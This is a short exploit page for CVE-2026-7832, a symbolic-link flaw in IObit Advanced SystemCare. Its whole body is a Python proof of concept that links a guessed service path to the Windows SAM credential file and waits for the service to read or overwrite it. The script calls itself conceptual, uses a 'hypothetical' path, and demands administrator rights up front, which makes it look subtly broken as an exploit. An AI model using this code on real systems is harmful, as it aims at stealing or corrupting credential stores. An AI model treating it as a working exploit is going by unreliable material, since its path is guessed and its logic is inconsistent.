CVE-2026-7832 IObit Advanced SystemCare 符号链接漏洞

# PoC for CVE-2026-7832 (Symbolic Link Following) # This is a conceptual demonstration. import os import sys import ctypes import time # Check for admin privileges (often required for symlink creation on Windows without Developer Mode) def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False if not is_admin(): print("[!] This script requires administrator privileges to create symlinks on standard Windows configurations.") sys.exit(1) # Configuration TARGET_FILE = r"C:\Windows\System32\config\SAM" # Example target sensitive file SERVICE_DROP_PATH = r"C:\ProgramData\IObit\Advanced SystemCare\temp\config.db" # Hypothetical path used by ASC.exe print(f"[*] Attempting to create symbolic link from {SERVICE_DROP_PATH} to {TARGET_FILE}") try: # Ensure the directory exists for the link os.makedirs(os.path.dirname(SERVICE_DROP_PATH), exist_ok=True) # Create the symbolic link os.symlink(TARGET_FILE, SERVICE_DROP_PATH) print("[+] Symbolic link created successfully.") print("[*] Waiting for the service (ASC.exe) to trigger the operation...") print("[*] If successful, the service may overwrite or read the SAM file.") # In a real scenario, the attacker would monitor or wait for a specific trigger. while True: time.sleep(1) except Exception as e: print(f"[-] Error creating symlink: {e}")